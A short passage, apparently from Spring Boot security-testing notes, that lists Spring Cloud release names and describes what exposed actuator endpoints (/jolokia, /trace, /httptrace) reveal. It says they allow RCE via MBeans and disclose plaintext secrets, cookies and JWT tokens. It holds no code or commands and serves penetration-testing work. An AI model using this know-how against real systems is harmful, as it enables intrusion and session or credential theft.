| Hoxton | Compatible with Spring Boot 2.2.x |
| RCX | Release candidate version |
| RELEASE | Official release version |
| SRX | (Bug fix and re-release) Official release version |
/restart/jolokia、/actuator/jolokia
The /jolokia/list interface can be used to find exploitable MBeans, indirectly triggering related RCE vulnerabilities, obtaining the plaintext of star‑obscured important private information, etc.
/trace、/actuator/httptrace
Some HTTP request packet access tracking information, where it is possible to discover details of some requests from internal application systems; as well as cookies, JWT tokens, etc. of valid users or administrators.